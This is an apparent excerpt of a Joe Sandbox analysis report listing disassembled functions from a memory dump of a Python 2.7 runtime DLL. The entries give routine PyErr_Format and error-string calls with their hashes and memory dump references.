PyErr_Format.PYTHON27(00000000,unknown dialect), ref: 6C0A587D

Strings

unknown dialect, xrefs: 6C0A5877

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_Err_FormatItem
String ID: unknown dialect
API String ID: 3923838959-3850176341
Opcode ID: e0b2cb8e83744e421eeb5ec2e37e462c94e77a4d9263e4944a37f18cb83d2c78
Instruction ID: 59a727d0b6d1b2c3c0a134899db0b2882a5e9101f0b98640cde6295ec306ab68
Opcode Fuzzy Hash: e0b2cb8e83744e421eeb5ec2e37e462c94e77a4d9263e4944a37f18cb83d2c78
Instruction Fuzzy Hash: F9E086B2F045109B8A184AD0BD409D637F9E7552A93080615F804A7E01D7348C82D7D0

Function 6C18A950 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,codec must pass exception instance,?,6C18B04C), ref: 6C18A972
PyErr_SetObject.PYTHON27(00000000,?,?,6C18B04C), ref: 6C18A988

Strings

codec must pass exception instance, xrefs: 6C18A96C

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$ObjectString
String ID: codec must pass exception instance
API String ID: 1622067708-3174393782
Opcode ID: eee8e5d4fa7233c8ca3f8e9a26537bc743adcf55b3555a3fd38f002b6bb8a5f3
Instruction ID: 5b95d92dcc01d6ff3a9a2b7fb2f473be62208297d930bf7384bdbe5c41b021f1
Opcode Fuzzy Hash: eee8e5d4fa7233c8ca3f8e9a26537bc743adcf55b3555a3fd38f002b6bb8a5f3
Instruction Fuzzy Hash: CCE026BAC1A1045FC208D744E845E96B324475C308F2D084DED1A8FE90D732E8648A50

Function 6C1594D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\listobject.c,000000A9), ref: 6C1594FB

Strings

%s:%d: bad argument to internal function, xrefs: 6C1594F5
..\Objects\listobject.c, xrefs: 6C1594F0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\listobject.c
API String ID: 376477240-2051030382
Opcode ID: 8a10696dc1a4a4c155017b21be8c8cbe295df6f6104896578490b57a20ecee6d
Instruction ID: 9f02201af17db6ff34250c01d40a3ff0f183bd6b6cddd646043b84e5ff7607a5
Opcode Fuzzy Hash: 8a10696dc1a4a4c155017b21be8c8cbe295df6f6104896578490b57a20ecee6d
Instruction Fuzzy Hash: F4E02674B003086FD210CEA8CC4AE243364D702338F0487C9FC3C4B7C1DA21D8219AC2

Function 6C0A1550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s:lookup,?), ref: 6C0A1561
_PyCodec_Lookup.PYTHON27(?), ref: 6C0A1575

Strings

s:lookup, xrefs: 6C0A155B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_Codec_LookupParseSizeTuple_
String ID: s:lookup
API String ID: 2652231755-170959776
Opcode ID: 23a0fe8d54f07790d1715e979fab7b14114279f6cd53a8d6ea1e2605bf06b97d
Instruction ID: 7eb443c95a2dacb66b103766d8dc2772fa8742a95bc7e8167f2467bc478022c8
Opcode Fuzzy Hash: 23a0fe8d54f07790d1715e979fab7b14114279f6cd53a8d6ea1e2605bf06b97d
Instruction Fuzzy Hash: 13D012E5D0410DA7CA00CAE1BC419BA73ACC64521CB044694FC0D52B01F636DA155692

Function 6C177E90 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000072,?,6C139B5A,?), ref: 6C177EB8

Strings

..\Objects\tupleobject.c, xrefs: 6C177EAD
%s:%d: bad argument to internal function, xrefs: 6C177EB2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c
API String ID: 376477240-1285866127
Opcode ID: a09474d8d1818b04cad9e84375c073ab44a7ba143622aae7223cbf5e8090f88b
Instruction ID: 4a27fbfa0ca3a800f5a356f1163c213ccc558f3eb7c9ec3edca554fd897527f2
Opcode Fuzzy Hash: a09474d8d1818b04cad9e84375c073ab44a7ba143622aae7223cbf5e8090f88b
Instruction Fuzzy Hash: D3E0DF34A042081BD220CAA8D845E153764C701738F048789BC2C9BAC1DA22E821AAC2

Function 6C164740 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\methodobject.c,0000002C), ref: 6C164764

Strings

..\Objects\methodobject.c, xrefs: 6C164759
%s:%d: bad argument to internal function, xrefs: 6C16475E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\methodobject.c
API String ID: 376477240-511127496
Opcode ID: 4dfd718e0c9ffa7d03d02b3393aae7dca43de2c354ccd0c01152bcaa8ce981ca
Instruction ID: e2f54fcf73ace98c949f6f89c232bd2358c9e75754d786fe3b92eb18e45bce07
Opcode Fuzzy Hash: 4dfd718e0c9ffa7d03d02b3393aae7dca43de2c354ccd0c01152bcaa8ce981ca
Instruction Fuzzy Hash: F0E086766001089BC610EAD8DC4AD65B7D8D706254F448689BC6C9BFA2EA22ED61CEC5

Function 6C1647C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\methodobject.c,00000040), ref: 6C1647E4

Strings

..\Objects\methodobject.c, xrefs: 6C1647D9
%s:%d: bad argument to internal function, xrefs: 6C1647DE

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\methodobject.c
API String ID: 376477240-511127496
Opcode ID: d48317414252f550baa6ec2596d9a988cf9221b98c6f706e9bca03cb5205e791
Instruction ID: aae39986381daadbf9ba67ac4a963c27a41cf8ab8b38f94b29375dc935b89d53
Opcode Fuzzy Hash: d48317414252f550baa6ec2596d9a988cf9221b98c6f706e9bca03cb5205e791
Instruction Fuzzy Hash: 16E0DF76A001488BC210DA98C846E10B3989702224F048788BC2C9BEE2DA22E860CAC9

Function 6C12B030 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

PyObject_Compare.PYTHON27(?,?), ref: 6C12B043
PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12B077

Strings

null argument to internal routine, xrefs: 6C12B071

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CompareErr_Object_String
String ID: null argument to internal routine
API String ID: 874617099-2212441169
Opcode ID: 54a3a20f6dc92813489a076e8d1ce1a22aa423ccad70e0e43a304b763c26ab42
Instruction ID: 00d49a1b4343221092c829e2ef81cf030eead3bba2e31b4d12f09daebded81d4
Opcode Fuzzy Hash: 54a3a20f6dc92813489a076e8d1ce1a22aa423ccad70e0e43a304b763c26ab42
Instruction Fuzzy Hash: 84E0867831020C9BDB099E66D984F6673B99B14728F10071CE8398BBD0D735E880CA9C

Function 6C0A74E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

PyDict_DelItem.PYTHON27(00000000,?), ref: 6C0A74EE

Part of subcall function 6C145100: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,0000036B), ref: 6C14512D

PyErr_Format.PYTHON27(00000000,unknown dialect), ref: 6C0A7506

Strings

unknown dialect, xrefs: 6C0A7500

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format$Dict_Item
String ID: unknown dialect
API String ID: 2379282386-3850176341
Opcode ID: 3c06cafe92f5efe56a191f55f95a6e9d0b143ebe251d2b703b174a7100cdd591
Instruction ID: a34f4b3cb9d1e6fcb78c8365a91bcc4660bf1068b5d930c36e38488ea340816b
Opcode Fuzzy Hash: 3c06cafe92f5efe56a191f55f95a6e9d0b143ebe251d2b703b174a7100cdd591
Instruction Fuzzy Hash: 2DD05BF67403086BCA0456A4BC41DB773BC976D51DB448519FC0C87F41E631F815D695

Function 6C139D60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\classobject.c,0000008E), ref: 6C139D87

Strings

..\Objects\classobject.c, xrefs: 6C139D7C
%s:%d: bad argument to internal function, xrefs: 6C139D81

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\classobject.c
API String ID: 376477240-1919307765
Opcode ID: 96af2aabab36ae55db4166261e86236283a17f27e2c5e99f5470dcacde8a0e86
Instruction ID: 1762059f6ad490af9f169f94e120c999bf35a1e2d62dfa8d248841da3daf9a21
Opcode Fuzzy Hash: 96af2aabab36ae55db4166261e86236283a17f27e2c5e99f5470dcacde8a0e86
Instruction Fuzzy Hash: 38E0C271A0020C5B8710EE98DC07F647398D309218F448B96BC2CDBA91EE21E960CBC2

Function 6C139DA0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\classobject.c,00000098), ref: 6C139DC7

Strings

..\Objects\classobject.c, xrefs: 6C139DBC
%s:%d: bad argument to internal function, xrefs: 6C139DC1

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\classobject.c
API String ID: 376477240-1919307765
Opcode ID: 7d532b55393d9d78b001d2ff28cdabcc3520656adff575be6cb9c28ab2d39e85
Instruction ID: 89d4b03c2c25e3c55bece60a8005a18ebac73e254f3a6631404356936a5ef576
Opcode Fuzzy Hash: 7d532b55393d9d78b001d2ff28cdabcc3520656adff575be6cb9c28ab2d39e85
Instruction Fuzzy Hash: 4BE0C271A0020C5B8750EEA8DC07F64B398C70A229F448786BC2CDBB91EE31E9208BC1

Function 6C139DE0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\classobject.c,000000A2), ref: 6C139E07

Strings

..\Objects\classobject.c, xrefs: 6C139DFC
%s:%d: bad argument to internal function, xrefs: 6C139E01

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\classobject.c
API String ID: 376477240-1919307765
Opcode ID: daef57d82ba3f099667f547d258e3ca2c8d24f0c68a47505152c433f76c624dc
Instruction ID: ac89868fde056c08f0e61d6322af5c0e9f660bc310a70f25ff744af517b08786
Opcode Fuzzy Hash: daef57d82ba3f099667f547d258e3ca2c8d24f0c68a47505152c433f76c624dc
Instruction Fuzzy Hash: 9EE0C2B1B0020C5BC720EE99DC06F647398D30A218F404BD6FC2CDBBD1EE21E9208AC2

Function 6C14AE80 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

_PyObject_CallFunction_SizeT.PYTHON27(6C2E5F20,su#nns,?,?,?,?,?,?), ref: 6C14AEA6

Part of subcall function 6C12F2F0: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12F317

Strings

_.lsys.float_infoA structseq holding information about the float type. It contains low levelinformation about the precision and internal representation. Please studyyour system's :file:`float.h` for more information., xrefs: 6C14AE99
su#nns, xrefs: 6C14AEA0

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CallErr_Function_Object_SizeString
String ID: _.lsys.float_infoA structseq holding information about the float type. It contains low levelinformation about the precision and internal representation. Please studyyour system's :file:`float.h` for more information.$su#nns
API String ID: 2991985268-3445968137
Opcode ID: e4682b1c9783cd214f4f982b168786d7ea73f9c2370e52dc1a419e34c7ebfe30
Instruction ID: c75b846232e8640abdecccc19466a52afa7e05186c305910b0063c59575e319e
Opcode Fuzzy Hash: e4682b1c9783cd214f4f982b168786d7ea73f9c2370e52dc1a419e34c7ebfe30
Instruction Fuzzy Hash: 0BE0ECFA610209AF9B04CEC8DC85CAB33ADAB8C714B108508BD1C93340D634FC518BB0

Function 6C164780 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\methodobject.c,00000036), ref: 6C1647A4

Strings

..\Objects\methodobject.c, xrefs: 6C164799
%s:%d: bad argument to internal function, xrefs: 6C16479E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\methodobject.c
API String ID: 376477240-511127496
Opcode ID: 3bee2ceec15d094b0c12d1ddf2ee9a4f33611d88952f34d0e2f74cfdc95bdf6a
Instruction ID: 7c51d2c1784203f260dd9348493b198161bc90bc3673df9a1aa6754e749e031d
Opcode Fuzzy Hash: 3bee2ceec15d094b0c12d1ddf2ee9a4f33611d88952f34d0e2f74cfdc95bdf6a
Instruction Fuzzy Hash: 96E0C276A0110C5BC620EED89C4AE55B3D8D316264F048786BD2CDBF92EA22E9608AC5

Function 6C155930 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\funcobject.c,00000043), ref: 6C155954

Strings

%s:%d: bad argument to internal function, xrefs: 6C15594E
..\Objects\funcobject.c, xrefs: 6C155949

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\funcobject.c
API String ID: 376477240-778741475
Opcode ID: 499f5496f363d8ed778e7601c106edefd461c6b85d4f47cb8bb307a2f6e1e5ed
Instruction ID: 0cdc78020adcbd3a0973b07773e454fc57d3358c4f5578fdc803bf67d835e5a4
Opcode Fuzzy Hash: 499f5496f363d8ed778e7601c106edefd461c6b85d4f47cb8bb307a2f6e1e5ed
Instruction Fuzzy Hash: 51E0CDB560110C5BC710DBD8DC46E14B394D315214F4486D5BD6CD7E91E621D960C6C1

Function 6C155970 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\funcobject.c,0000004D), ref: 6C155994

Strings

%s:%d: bad argument to internal function, xrefs: 6C15598E
..\Objects\funcobject.c, xrefs: 6C155989

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
